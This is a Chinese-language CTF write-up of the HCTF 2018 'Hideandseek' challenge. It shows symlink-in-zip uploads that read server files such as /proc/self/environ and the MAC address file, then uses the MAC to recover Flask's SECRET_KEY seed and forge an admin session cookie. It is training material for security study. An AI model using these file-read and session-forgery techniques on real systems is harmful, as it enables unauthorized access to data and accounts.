[HCTF 2018]Hideandseek
页面提示我们先登录,我们随便输入username和password直接就注册登录了
但当我们尝试admin时却发现,页面同时我们非admin,看样子这是需要进行伪造admin了
我们随便登个账号,页面提示我们传zip文件
文件读取
我们使用软连接来读取文件
1 | 在linux环境下执行 |
不想打开一个文件就得重新写一次软连接的话,我们用另一个大佬的wp(…有报错不知道为啥)
1 | #coding=utf-8 |
我们还是用第一种办法吧,将得到的passwd.zip进行上传,我们得到正常回显
读取/proc/self/environ
我们查看环境变量
1 | ln -s /proc/self/environ en |
将得到的en.zip进行上传
读取/app/uwsgi.ini
注意DUWSGI_INI=/app/uwsgi.ini
uWSGI是一个Web服务器,它实现了WSGI协议、uwsgi、http等协议。Nginx中HttpUwsgiModule的作用是与uWSGI服务器进行交换。WSGI是一种Web服务器网关接口。它是一个Web服务器(如nginx,uWSGI等服务器)与web应用(如用Flask框架写的程序)通信的一种规范。
接下来我们来读取/app/uwsgi.ini
1 | ln -s /app/uwsgi.ini us |
我们提交us.zip
看wp说buu的环境有点问题,正常的/app/uwsgi.ini应该回显
1 | module=/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py |
读取module=/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py得到源文件
1 | ln -s /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py a |
得到源码
1 | # -*- coding: utf-8 -*- |
伪随机数种子
有了源码,我们就需要根据源码伪造admin的session,而session构造需要SECRET_KEY,看源码,SECRET_KEY等于一个随机数,但是这个随机数是通过设置随机数种子生成的。而如果我们知道这个种子,就知道了后面生成的随机数
1 | random.seed(uuid.getnode()) |
我们看一下生成伪随机数种子的函数uuid.getnode()
关于uuid.getnode()
源链接:Python——uuid
获取mac地址
我们想得到种子,就得知道容器的mac地址
我们尝试读取/sys/class/net/eth0/address
来得到mac地址
1 | ln -s /sys/class/net/eth0/address mac |
得到mac地址 ae:34:53:c6:20:88
由mac地址得到伪随机数种子
1 | import uuid |
伪造session
1 | """ Flask Session Cookie Decoder/Encoder """ |
1 | python session_encode.py encode -s "46.189843351464276" -t "{'username':'admin'}" |
FLAG
将得到的session进行替换,得到flag
参考
https://blog.csdn.net/rabcdxb/article/details/119654409
https://blog.csdn.net/crisprx/article/details/107328520
https://blog.csdn.net/mochu7777777/article/details/105190181/